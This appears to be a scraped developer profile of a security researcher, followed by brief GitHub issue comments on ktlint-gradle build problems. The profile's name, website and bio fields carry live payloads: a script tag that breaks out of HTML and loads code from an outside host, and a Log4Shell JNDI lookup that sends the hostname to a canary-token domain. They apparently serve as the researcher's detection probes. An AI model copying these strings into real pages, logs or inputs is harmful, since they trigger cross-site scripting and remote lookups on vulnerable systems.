Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

icon indicating a website link ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a} icon indicating an email [email protected]

icon company @chainguard-dev icon location Boston, MA icon location Software Engineer & Security Researcher; First Dan Kaminsky Fellow @ HUMAN Security; ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken

Results 596 comments of Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

Upgrade ktlint support

I believe that this is now outdated by #597, correct?

Upgrade ktlint support

I believe that this is now outdated by #597, correct?

Add execution time of addKtlintCheck/Format hook

You may want to consider looking into Gradle Build Scans or the Gradle Profiler. I think one or both of these can solve your problem.

NotSerializableException with 10.1.0 and 10.2.0

Is there any way that we can make this exception more sane for users? Or is this not something we can control?

When Gradle is executed with --continue flag, report file isn't listed at the end of the console

I'll have to think about this. I think there is a way to do this, but I don't know what. Let me talk to some co-workers and get back to...

When Gradle is executed with --continue flag, report file isn't listed at the end of the console

I suggest we look at some other tasks that generate reports and see if they do anything interesting

Print the files that have been formatted successfully

Could you elaborate upon the use-case here? Why would you find this information to be valuable?

When moving dependency into buildSrc with `kotlin-dsl` plugin, a ClassNotFound exception is thrown on plugin application on project that uses Kotlin plugin itself

You don't need to explicitly declare the string `"https://plugins.gradle.org/m2/"`. Gradle has an extension for it built-in. ``` repositories { gradlePluginPortal() } ```

When moving dependency into buildSrc with `kotlin-dsl` plugin, a ClassNotFound exception is thrown on plugin application on project that uses Kotlin plugin itself

I'm tempted to close this out as a question. I don't think that this is a bug with ktlint-gradle. From what I'm reading, this behaviour looks like it's just due...

Too many element types registered

Can you provide the full stack trace?